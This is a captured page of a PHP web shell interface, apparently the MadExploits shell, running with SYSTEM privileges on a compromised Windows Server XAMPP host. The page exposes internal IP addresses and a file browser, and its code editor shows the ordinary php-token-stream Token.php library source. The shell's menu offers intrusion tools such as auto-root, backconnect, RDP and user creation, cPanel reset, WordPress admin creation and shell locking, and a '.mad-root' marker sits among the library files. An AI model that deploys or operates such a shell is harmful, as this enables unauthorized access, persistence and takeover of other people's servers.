Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
php /
pear /
PHP /
[ HOME SHELL ]
Name
Size
Permission
Action
CodeCoverage
[ DIR ]
drwxrwxrwx
CodeSniffer
[ DIR ]
drwxrwxrwx
Compat
[ DIR ]
drwxrwxrwx
CompatInfo
[ DIR ]
drwxrwxrwx
Debug
[ DIR ]
drwxrwxrwx
Timer
[ DIR ]
drwxrwxrwx
Token
[ DIR ]
drwxrwxrwx
UML
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
CodeCoverage.php
22.29
KB
-rw-rw-rw-
CodeSniffer.php
63.3
KB
-rw-rw-rw-
Compat.php
4.45
KB
-rw-rw-rw-
CompatInfo.php
18.43
KB
-rw-rw-rw-
Debug.php
28.59
KB
-rw-rw-rw-
DebugLine.php
7.37
KB
-rw-rw-rw-
Timer.php
4.67
KB
-rw-rw-rw-
Token.php
22.46
KB
-rw-rw-rw-
UML.php
12.48
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Token.php
<?php /** * php-token-stream * * Copyright (c) 2009-2012, Sebastian Bergmann <sb@sebastian-bergmann.de>. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of Sebastian Bergmann nor the names of his * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package PHP_TokenStream * @author Sebastian Bergmann <sb@sebastian-bergmann.de> * @copyright 2009-2012 Sebastian Bergmann <sb@sebastian-bergmann.de> * @license http://www.opensource.org/licenses/BSD-3-Clause The BSD 3-Clause License * @since File available since Release 1.0.0 */ /** * A PHP token. * * @author Sebastian Bergmann <sb@sebastian-bergmann.de> * @copyright 2009-2012 Sebastian Bergmann <sb@sebastian-bergmann.de> * @license http://www.opensource.org/licenses/BSD-3-Clause The BSD 3-Clause License * @version Release: 1.1.5 * @link http://github.com/sebastianbergmann/php-token-stream/tree * @since Class available since Release 1.0.0 */ abstract class PHP_Token { /** * @var string */ protected $text; /** * @var integer */ protected $line; /** * @var PHP_Token_Stream */ protected $tokenStream; /** * @var integer */ protected $id; /** * Constructor. * * @param string $text * @param integer $line * @param PHP_Token_Stream $tokenStream * @param integer $id */ public function __construct($text, $line, PHP_Token_Stream $tokenStream, $id) { $this->text = $text; $this->line = $line; $this->tokenStream = $tokenStream; $this->id = $id; } /** * @return string */ public function __toString() { return $this->text; } /** * @return integer */ public function getLine() { return $this->line; } } abstract class PHP_TokenWithScope extends PHP_Token { protected $endTokenId; /** * Get the docblock for this token * * This method will fetch the docblock belonging to the current token. The * docblock must be placed on the line directly above the token to be * recognized. * * @return string|null Returns the docblock as a string if found */ public function getDocblock() { $tokens = $this->tokenStream->tokens(); $currentLineNumber = $tokens[$this->id]->getLine(); $prevLineNumber = $currentLineNumber - 1; for ($i = $this->id - 1; $i; $i--) { if (!isset($tokens[$i])) { return; } if ($tokens[$i] instanceof PHP_Token_FUNCTION || $tokens[$i] instanceof PHP_Token_CLASS || $tokens[$i] instanceof PHP_Token_TRAIT) { // Some other trait, class or function, no docblock can be // used for the current token break; } $line = $tokens[$i]->getLine(); if ($line == $currentLineNumber || ($line == $prevLineNumber && $tokens[$i] instanceof PHP_Token_WHITESPACE)) { continue; } if ($line < $currentLineNumber && !$tokens[$i] instanceof PHP_Token_DOC_COMMENT) { break; } return (string)$tokens[$i]; } } public function getEndTokenId() { $block = 0; $i = $this->id; $tokens = $this->tokenStream->tokens(); while ($this->endTokenId === NULL && isset($tokens[$i])) { if ($tokens[$i] instanceof PHP_Token_OPEN_CURLY || $tokens[$i] instanceof PHP_Token_CURLY_OPEN) { $block++; } else if ($tokens[$i] instanceof PHP_Token_CLOSE_CURLY) { $block--; if ($block === 0) { $this->endTokenId = $i; } } else if (($this instanceof PHP_Token_FUNCTION || $this instanceof PHP_Token_NAMESPACE) && $tokens[$i] instanceof PHP_Token_SEMICOLON) { if ($block === 0) { $this->endTokenId = $i; } } $i++; } if ($this->endTokenId === NULL) { $this->endTokenId = $this->id; } return $this->endTokenId; } public function getEndLine() { return $this->tokenStream[$this->getEndTokenId()]->getLine(); } } abstract class PHP_TokenWithScopeAndVisibility extends PHP_TokenWithScope { public function getVisibility() { $tokens = $this->tokenStream->tokens(); for ($i = $this->id - 2; $i > $this->id - 7; $i -= 2) { if (isset($tokens[$i]) && ($tokens[$i] instanceof PHP_Token_PRIVATE || $tokens[$i] instanceof PHP_Token_PROTECTED || $tokens[$i] instanceof PHP_Token_PUBLIC)) { return strtolower( str_replace('PHP_Token_', '', get_class($tokens[$i])) ); } if (isset($tokens[$i]) && !($tokens[$i] instanceof PHP_Token_STATIC || $tokens[$i] instanceof PHP_Token_FINAL || $tokens[$i] instanceof PHP_Token_ABSTRACT)) { // no keywords; stop visibility search break; } } } public function getKeywords() { $keywords = array(); $tokens = $this->tokenStream->tokens(); for ($i = $this->id - 2; $i > $this->id - 7; $i -= 2) { if (isset($tokens[$i]) && ($tokens[$i] instanceof PHP_Token_PRIVATE || $tokens[$i] instanceof PHP_Token_PROTECTED || $tokens[$i] instanceof PHP_Token_PUBLIC)) { continue; } if (isset($tokens[$i]) && ($tokens[$i] instanceof PHP_Token_STATIC || $tokens[$i] instanceof PHP_Token_FINAL || $tokens[$i] instanceof PHP_Token_ABSTRACT)) { $keywords[] = strtolower( str_replace('PHP_Token_', '', get_class($tokens[$i])) ); } } return implode(',', $keywords); } } abstract class PHP_Token_Includes extends PHP_Token { protected $name; protected $type; public function getName() { if ($this->name !== NULL) { return $this->name; } $tokens = $this->tokenStream->tokens(); if ($tokens[$this->id+2] instanceof PHP_Token_CONSTANT_ENCAPSED_STRING) { $this->name = trim($tokens[$this->id+2], "'\""); $this->type = strtolower( str_replace('PHP_Token_', '', get_class($tokens[$this->id])) ); } return $this->name; } public function getType() { $this->getName(); return $this->type; } } class PHP_Token_REQUIRE_ONCE extends PHP_Token_Includes {} class PHP_Token_REQUIRE extends PHP_Token_Includes {} class PHP_Token_EVAL extends PHP_Token {} class PHP_Token_INCLUDE_ONCE extends PHP_Token_Includes {} class PHP_Token_INCLUDE extends PHP_Token_Includes {} class PHP_Token_LOGICAL_OR extends PHP_Token {} class PHP_Token_LOGICAL_XOR extends PHP_Token {} class PHP_Token_LOGICAL_AND extends PHP_Token {} class PHP_Token_PRINT extends PHP_Token {} class PHP_Token_SR_EQUAL extends PHP_Token {} class PHP_Token_SL_EQUAL extends PHP_Token {} class PHP_Token_XOR_EQUAL extends PHP_Token {} class PHP_Token_OR_EQUAL extends PHP_Token {} class PHP_Token_AND_EQUAL extends PHP_Token {} class PHP_Token_MOD_EQUAL extends PHP_Token {} class PHP_Token_CONCAT_EQUAL extends PHP_Token {} class PHP_Token_DIV_EQUAL extends PHP_Token {} class PHP_Token_MUL_EQUAL extends PHP_Token {} class PHP_Token_MINUS_EQUAL extends PHP_Token {} class PHP_Token_PLUS_EQUAL extends PHP_Token {} class PHP_Token_BOOLEAN_OR extends PHP_Token {} class PHP_Token_BOOLEAN_AND extends PHP_Token {} class PHP_Token_IS_NOT_IDENTICAL extends PHP_Token {} class PHP_Token_IS_IDENTICAL extends PHP_Token {} class PHP_Token_IS_NOT_EQUAL extends PHP_Token {} class PHP_Token_IS_EQUAL extends PHP_Token {} class PHP_Token_IS_GREATER_OR_EQUAL extends PHP_Token {} class PHP_Token_IS_SMALLER_OR_EQUAL extends PHP_Token {} class PHP_Token_SR extends PHP_Token {} class PHP_Token_SL extends PHP_Token {} class PHP_Token_INSTANCEOF extends PHP_Token {} class PHP_Token_UNSET_CAST extends PHP_Token {} class PHP_Token_BOOL_CAST extends PHP_Token {} class PHP_Token_OBJECT_CAST extends PHP_Token {} class PHP_Token_ARRAY_CAST extends PHP_Token {} class PHP_Token_STRING_CAST extends PHP_Token {} class PHP_Token_DOUBLE_CAST extends PHP_Token {} class PHP_Token_INT_CAST extends PHP_Token {} class PHP_Token_DEC extends PHP_Token {} class PHP_Token_INC extends PHP_Token {} class PHP_Token_CLONE extends PHP_Token {} class PHP_Token_NEW extends PHP_Token {} class PHP_Token_EXIT extends PHP_Token {} class PHP_Token_IF extends PHP_Token {} class PHP_Token_ELSEIF extends PHP_Token {} class PHP_Token_ELSE extends PHP_Token {} class PHP_Token_ENDIF extends PHP_Token {} class PHP_Token_LNUMBER extends PHP_Token {} class PHP_Token_DNUMBER extends PHP_Token {} class PHP_Token_STRING extends PHP_Token {} class PHP_Token_STRING_VARNAME extends PHP_Token {} class PHP_Token_VARIABLE extends PHP_Token {} class PHP_Token_NUM_STRING extends PHP_Token {} class PHP_Token_INLINE_HTML extends PHP_Token {} class PHP_Token_CHARACTER extends PHP_Token {} class PHP_Token_BAD_CHARACTER extends PHP_Token {} class PHP_Token_ENCAPSED_AND_WHITESPACE extends PHP_Token {} class PHP_Token_CONSTANT_ENCAPSED_STRING extends PHP_Token {} class PHP_Token_ECHO extends PHP_Token {} class PHP_Token_DO extends PHP_Token {} class PHP_Token_WHILE extends PHP_Token {} class PHP_Token_ENDWHILE extends PHP_Token {} class PHP_Token_FOR extends PHP_Token {} class PHP_Token_ENDFOR extends PHP_Token {} class PHP_Token_FOREACH extends PHP_Token {} class PHP_Token_ENDFOREACH extends PHP_Token {} class PHP_Token_DECLARE extends PHP_Token {} class PHP_Token_ENDDECLARE extends PHP_Token {} class PHP_Token_AS extends PHP_Token {} class PHP_Token_SWITCH extends PHP_Token {} class PHP_Token_ENDSWITCH extends PHP_Token {} class PHP_Token_CASE extends PHP_Token {} class PHP_Token_DEFAULT extends PHP_Token {} class PHP_Token_BREAK extends PHP_Token {} class PHP_Token_CONTINUE extends PHP_Token {} class PHP_Token_GOTO extends PHP_Token {} class PHP_Token_CALLABLE extends PHP_Token {} class PHP_Token_INSTEADOF extends PHP_Token {} class PHP_Token_FUNCTION extends PHP_TokenWithScopeAndVisibility { protected $arguments; protected $ccn; protected $name; protected $signature; public function getArguments() { if ($this->arguments !== NULL) { return $this->arguments; } $this->arguments = array(); $i = $this->id + 3; $tokens = $this->tokenStream->tokens(); $typeHint = NULL; while (!$tokens[$i] instanceof PHP_Token_CLOSE_BRACKET) { if ($tokens[$i] instanceof PHP_Token_STRING) { $typeHint = (string)$tokens[$i]; } else if ($tokens[$i] instanceof PHP_Token_VARIABLE) { $this->arguments[(string)$tokens[$i]] = $typeHint; $typeHint = NULL; } $i++; } return $this->arguments; } public function getName() { if ($this->name !== NULL) { return $this->name; } $tokens = $this->tokenStream->tokens(); if ($tokens[$this->id+2] instanceof PHP_Token_STRING) { $this->name = (string)$tokens[$this->id+2]; } else if ($tokens[$this->id+2] instanceof PHP_Token_AMPERSAND && $tokens[$this->id+3] instanceof PHP_Token_STRING) { $this->name = (string)$tokens[$this->id+3]; } else { $this->name = 'anonymous function'; } if ($this->name != 'anonymous function') { for ($i = $this->id; $i; --$i) { if ($tokens[$i] instanceof PHP_Token_NAMESPACE) { $this->name = $tokens[$i]->getName() . '\\' . $this->name; break; } if ($tokens[$i] instanceof PHP_Token_INTERFACE) { break; } } } return $this->name; } public function getCCN() { if ($this->ccn !== NULL) { return $this->ccn; } $this->ccn = 1; $end = $this->getEndTokenId(); $tokens = $this->tokenStream->tokens(); for ($i = $this->id; $i <= $end; $i++) { switch (get_class($tokens[$i])) { case 'PHP_Token_IF': case 'PHP_Token_ELSEIF': case 'PHP_Token_FOR': case 'PHP_Token_FOREACH': case 'PHP_Token_WHILE': case 'PHP_Token_CASE': case 'PHP_Token_CATCH': case 'PHP_Token_BOOLEAN_AND': case 'PHP_Token_LOGICAL_AND': case 'PHP_Token_BOOLEAN_OR': case 'PHP_Token_LOGICAL_OR': case 'PHP_Token_QUESTION_MARK': { $this->ccn++; } break; } } return $this->ccn; } public function getSignature() { if ($this->signature !== NULL) { return $this->signature; } if ($this->getName() == 'anonymous function') { $this->signature = 'anonymous function'; $i = $this->id + 1; } else { $this->signature = ''; $i = $this->id + 2; } $tokens = $this->tokenStream->tokens(); while (!$tokens[$i] instanceof PHP_Token_CLOSE_BRACKET) { $this->signature .= $tokens[$i++]; } $this->signature .= ')'; return $this->signature; } } class PHP_Token_CONST extends PHP_Token {} class PHP_Token_RETURN extends PHP_Token {} class PHP_Token_TRY extends PHP_Token {} class PHP_Token_CATCH extends PHP_Token {} class PHP_Token_THROW extends PHP_Token {} class PHP_Token_USE extends PHP_Token {} class PHP_Token_GLOBAL extends PHP_Token {} class PHP_Token_PUBLIC extends PHP_Token {} class PHP_Token_PROTECTED extends PHP_Token {} class PHP_Token_PRIVATE extends PHP_Token {} class PHP_Token_FINAL extends PHP_Token {} class PHP_Token_ABSTRACT extends PHP_Token {} class PHP_Token_STATIC extends PHP_Token {} class PHP_Token_VAR extends PHP_Token {} class PHP_Token_UNSET extends PHP_Token {} class PHP_Token_ISSET extends PHP_Token {} class PHP_Token_EMPTY extends PHP_Token {} class PHP_Token_HALT_COMPILER extends PHP_Token {} class PHP_Token_INTERFACE extends PHP_TokenWithScopeAndVisibility { protected $interfaces; public function getName() { return (string)$this->tokenStream[$this->id + 2]; } public function hasParent() { return $this->tokenStream[$this->id + 4] instanceof PHP_Token_EXTENDS; } public function getPackage() { $className = $this->getName(); $docComment = $this->getDocblock(); $result = array( 'namespace' => '', 'fullPackage' => '', 'category' => '', 'package' => '', 'subpackage' => '' ); for ($i = $this->id; $i; --$i) { if ($this->tokenStream[$i] instanceof PHP_Token_NAMESPACE) { $result['namespace'] = $this->tokenStream[$i]->getName(); break; } } if (preg_match('/@category[\s]+([\.\w]+)/', $docComment, $matches)) { $result['category'] = $matches[1]; } if (preg_match('/@package[\s]+([\.\w]+)/', $docComment, $matches)) { $result['package'] = $matches[1]; $result['fullPackage'] = $matches[1]; } if (preg_match('/@subpackage[\s]+([\.\w]+)/', $docComment, $matches)) { $result['subpackage'] = $matches[1]; $result['fullPackage'] .= '.' . $matches[1]; } if (empty($result['fullPackage'])) { $result['fullPackage'] = $this->arrayToName( explode('_', str_replace('\\', '_', $className)), '.' ); } return $result; } protected function arrayToName(array $parts, $join = '\\') { $result = ''; if (count($parts) > 1) { array_pop($parts); $result = join($join, $parts); } return $result; } public function getParent() { if (!$this->hasParent()) { return FALSE; } $i = $this->id + 6; $tokens = $this->tokenStream->tokens(); $className = (string)$tokens[$i]; while (isset($tokens[$i+1]) && !$tokens[$i+1] instanceof PHP_Token_WHITESPACE) { $className .= (string)$tokens[++$i]; } return $className; } public function hasInterfaces() { return (isset($this->tokenStream[$this->id + 4]) && $this->tokenStream[$this->id + 4] instanceof PHP_Token_IMPLEMENTS) || (isset($this->tokenStream[$this->id + 8]) && $this->tokenStream[$this->id + 8] instanceof PHP_Token_IMPLEMENTS); } public function getInterfaces() { if ($this->interfaces !== NULL) { return $this->interfaces; } if (!$this->hasInterfaces()) { return ($this->interfaces = FALSE); } if ($this->tokenStream[$this->id + 4] instanceof PHP_Token_IMPLEMENTS) { $i = $this->id + 3; } else { $i = $this->id + 7; } $tokens = $this->tokenStream->tokens(); while (!$tokens[$i+1] instanceof PHP_Token_OPEN_CURLY) { $i++; if ($tokens[$i] instanceof PHP_Token_STRING) { $this->interfaces[] = (string)$tokens[$i]; } } return $this->interfaces; } } class PHP_Token_CLASS extends PHP_Token_INTERFACE {} class PHP_Token_TRAIT extends PHP_Token_INTERFACE {} class PHP_Token_EXTENDS extends PHP_Token {} class PHP_Token_IMPLEMENTS extends PHP_Token {} class PHP_Token_OBJECT_OPERATOR extends PHP_Token {} class PHP_Token_DOUBLE_ARROW extends PHP_Token {} class PHP_Token_LIST extends PHP_Token {} class PHP_Token_ARRAY extends PHP_Token {} class PHP_Token_CLASS_C extends PHP_Token {} class PHP_Token_TRAIT_C extends PHP_Token {} class PHP_Token_METHOD_C extends PHP_Token {} class PHP_Token_FUNC_C extends PHP_Token {} class PHP_Token_LINE extends PHP_Token {} class PHP_Token_FILE extends PHP_Token {} class PHP_Token_COMMENT extends PHP_Token {} class PHP_Token_DOC_COMMENT extends PHP_Token {} class PHP_Token_OPEN_TAG extends PHP_Token {} class PHP_Token_OPEN_TAG_WITH_ECHO extends PHP_Token {} class PHP_Token_CLOSE_TAG extends PHP_Token {} class PHP_Token_WHITESPACE extends PHP_Token {} class PHP_Token_START_HEREDOC extends PHP_Token {} class PHP_Token_END_HEREDOC extends PHP_Token {} class PHP_Token_DOLLAR_OPEN_CURLY_BRACES extends PHP_Token {} class PHP_Token_CURLY_OPEN extends PHP_Token {} class PHP_Token_PAAMAYIM_NEKUDOTAYIM extends PHP_Token {} class PHP_Token_NAMESPACE extends PHP_TokenWithScope { public function getName() { $tokens = $this->tokenStream->tokens(); $namespace = (string)$tokens[$this->id+2]; for ($i = $this->id + 3; ; $i += 2) { if (isset($tokens[$i]) && $tokens[$i] instanceof PHP_Token_NS_SEPARATOR) { $namespace .= '\\' . $tokens[$i+1]; } else { break; } } return $namespace; } } class PHP_Token_NS_C extends PHP_Token {} class PHP_Token_DIR extends PHP_Token {} class PHP_Token_NS_SEPARATOR extends PHP_Token {} class PHP_Token_DOUBLE_COLON extends PHP_Token {} class PHP_Token_OPEN_BRACKET extends PHP_Token {} class PHP_Token_CLOSE_BRACKET extends PHP_Token {} class PHP_Token_OPEN_SQUARE extends PHP_Token {} class PHP_Token_CLOSE_SQUARE extends PHP_Token {} class PHP_Token_OPEN_CURLY extends PHP_Token {} class PHP_Token_CLOSE_CURLY extends PHP_Token {} class PHP_Token_SEMICOLON extends PHP_Token {} class PHP_Token_DOT extends PHP_Token {} class PHP_Token_COMMA extends PHP_Token {} class PHP_Token_EQUAL extends PHP_Token {} class PHP_Token_LT extends PHP_Token {} class PHP_Token_GT extends PHP_Token {} class PHP_Token_PLUS extends PHP_Token {} class PHP_Token_MINUS extends PHP_Token {} class PHP_Token_MULT extends PHP_Token {} class PHP_Token_DIV extends PHP_Token {} class PHP_Token_QUESTION_MARK extends PHP_Token {} class PHP_Token_EXCLAMATION_MARK extends PHP_Token {} class PHP_Token_COLON extends PHP_Token {} class PHP_Token_DOUBLE_QUOTES extends PHP_Token {} class PHP_Token_AT extends PHP_Token {} class PHP_Token_AMPERSAND extends PHP_Token {} class PHP_Token_PERCENT extends PHP_Token {} class PHP_Token_PIPE extends PHP_Token {} class PHP_Token_DOLLAR extends PHP_Token {} class PHP_Token_CARET extends PHP_Token {} class PHP_Token_TILDE extends PHP_Token {} class PHP_Token_BACKTICK extends PHP_Token {}
Close